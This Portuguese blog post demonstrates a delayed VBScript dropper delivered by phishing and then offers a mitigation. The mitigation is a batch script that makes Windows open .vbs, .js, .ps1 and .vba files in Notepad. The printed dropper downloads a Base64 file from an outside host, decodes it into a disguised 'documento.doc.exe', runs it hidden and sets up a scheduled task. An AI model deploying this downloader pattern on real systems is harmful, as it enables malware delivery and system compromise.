Imagine que um colaborador, desavisado, execute um malware enviado por um atacante com o objetivo de obter acesso ao seu ambiente. Para isso, o atacante utiliza o clássico truque de esconder um script malicioso dentro de um arquivo zipado. E se, além disso, o atacante enviar o arquivo zipado com senha? Seu colaborador, com uma determinação inexplicável, não só abre o arquivo de uma fonte desconhecida, como também digita a senha, que obviamente foi enviada junto com o phishing.

Eu sei que você sabe que a probabilidade disso acontecer é altíssima!

Mas, para piorar, o script que seu colaborador acabou de executar não faz muita coisa, a não ser criar uma tarefa no Windows. Essa tarefa tem o objetivo de baixar um executável daqui a alguns dias. Afinal, não se trata de algo destrutivo para o seu PC, e pouquíssimos antivírus conseguiriam detectar essa ação.

Eu posso te provar:

 

Vbs_Downloader
A imagem acima é do virustotal.com e mostra apenas os EndPoints que detectaram a maldade por trás do nosso ingênuo script. :-)

A ideia é simples: o script cria uma tarefa no Windows, e essa tarefa baixa um arquivo em alguns dias. Esse arquivo pode ou não ser executado, mas fica mais interessante se ele baixar um pedacinho do malware por dia, além de criar rotinas para baixar outros arquivos, caso algum seja bloqueado. No entanto, como o objetivo aqui é apenas ilustrar o conceito, montei o script de forma rudimentar, sem que ele funcione adequadamente. Ainda assim, você entenderá aonde quero chegar…

Abaixo, segue um modelo para você testar no seu laboratório:

				
					' Variáveis para o download
strTempFolder = "C:\windows\temp\"
strFileName = "documento.doc.exe"
strURL = "https://sec17.com/documento_base64.txt" ' Arquivo codificado em Base64
strDownloadPath = strTempFolder & "documento_base64.txt"
strFinalFilePath = strTempFolder & strFileName

' Função para baixar o arquivo Base64
Function DownloadFile(URL, Destination)
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    objXMLHTTP.open "GET", URL, False
    objXMLHTTP.send()

    If objXMLHTTP.Status = 200 Then
        Set objStream = CreateObject("ADODB.Stream")
        objStream.Open
        objStream.Type = 2 ' Texto
        objStream.Charset = "utf-8"
        objStream.WriteText objXMLHTTP.ResponseText
        objStream.Position = 0
        objStream.SaveToFile Destination, 2 ' Sobrescrever arquivo
        objStream.Close
    End If
End Function

' Função para decodificar Base64 e salvar o arquivo original
Function Base64Decode(InputFile, OutputFile)
    Set objStreamIn = CreateObject("ADODB.Stream")
    objStreamIn.Type = 2 ' Texto
    objStreamIn.Charset = "utf-8"
    objStreamIn.Open
    objStreamIn.LoadFromFile InputFile

    Set objStreamOut = CreateObject("ADODB.Stream")
    objStreamOut.Type = 1 ' Binário
    objStreamOut.Open

    ' Converte o conteúdo Base64 em binário
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.CreateElement("base64")
    objNode.DataType = "bin.base64"
    objNode.Text = objStreamIn.ReadText
    objStreamOut.Write objNode.NodeTypedValue

    objStreamOut.SaveToFile OutputFile, 2 ' Salvar o arquivo decodificado
    objStreamIn.Close
    objStreamOut.Close
End Function

' Função para executar o arquivo
Sub ExecuteFile(FilePath)
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run FilePath, 0, False
End Sub

' Função principal para baixar, decodificar e executar
Sub DownloadDecodeAndExecute()
    ' Fazer o download do arquivo Base64
    DownloadFile strURL, strDownloadPath
    
    ' Decodificar o Base64 e salvar o arquivo original
    Base64Decode strDownloadPath, strFinalFilePath
    
    ' Executar o arquivo decodificado
    ExecuteFile strFinalFilePath
End Sub

' Função para criar a tarefa agendada
Sub CreateScheduledTask()
    Set objShell = CreateObject("WScript.Shell")
    
    strTaskName = "DownloadAndExecuteBase64"
    strCommand = "cscript.exe //nologo """ & WScript.ScriptFullName & """"
    
    ' Comando para criar a tarefa agendada
    strCommandLine = "schtasks /create /tn """ & strTaskName & """ /tr """ & strCommand & """ /sc once /st 15:00 /sd 10/10/2024 /f"
    
    ' Rodar o comando
    Set oExec = objShell.Exec(strCommandLine)

    ' Captura a saída do comando para debug
    Do While Not oExec.StdOut.AtEndOfStream
        WScript.Echo oExec.StdOut.ReadLine()
    Loop

    ' Captura erros
    Do While Not oExec.StdErr.AtEndOfStream
        WScript.Echo "Erro: " & oExec.StdErr.ReadLine()
    Loop
End Sub

' Chama a função para criar a tarefa agendada
CreateScheduledTask()

				
			

Agora que seu usuário foi infectado e há uma grande possibilidade de o atacante obter controle sobre a máquina dele, podemos pensar em uma alternativa simples para mitigar essa ameaça.

A ideia por trás dessa solução é impedir que os interpretadores de script sejam executados pelo usuário. Afinal, nem toda empresa precisa que seus colaboradores executem scripts. Obviamente, isso varia de caso para caso, mas posso arriscar dizer que 90% das empresas não teriam problemas em aplicar essa política.

A política consiste em redirecionar os apontamentos dos interpretadores de scripts no Windows para o Bloco de Notas, em vez de permitir sua execução normal. Simples, não? Mas funciona!

Veja abaixo um script .bat simples:

				
					@echo off
:: Script para associar arquivos .vbs, .js, .ps1 e .vba ao Bloco de Notas

:: Associar arquivos .vbs ao Bloco de Notas
assoc .vbs=VBSFile
ftype VBSFile="%SystemRoot%\System32\notepad.exe" "%1"

:: Associar arquivos .js ao Bloco de Notas
assoc .js=JSFile
ftype JSFile="%SystemRoot%\System32\notepad.exe" "%1"

:: Associar arquivos .ps1 ao Bloco de Notas
assoc .ps1=PS1File
ftype PS1File="%SystemRoot%\System32\notepad.exe" "%1"

:: Associar arquivos .vba ao Bloco de Notas
assoc .vba=VBAFile
ftype VBAFile="%SystemRoot%\System32\notepad.exe" "%1"

:: Mensagem de conclusão
echo As associações foram modificadas para abrir scripts no Bloco de Notas.
pause

				
			

Seria mais elegante realizar essa configuração via GPO, mas como estamos apenas experimentando em um laboratório, faça isso na sua “máquina virtual da maldade” e veja como ficará difícil para um usuário comum executar scripts específicos.

Vale lembrar que é possível aplicar essa mudança para qualquer tipo de script no Windows. No exemplo acima, abordamos apenas os principais.

Depois que o usuário clicou no arquivo documento.doc.vbs e, em vez de ser executado pelo interpretador de scripts, ele abriu no Bloco de Notas, esse é o momento em que ele irá abrir um chamado antes de cometer algum erro.

Obrigado por chegar até aqui! Keep hacking!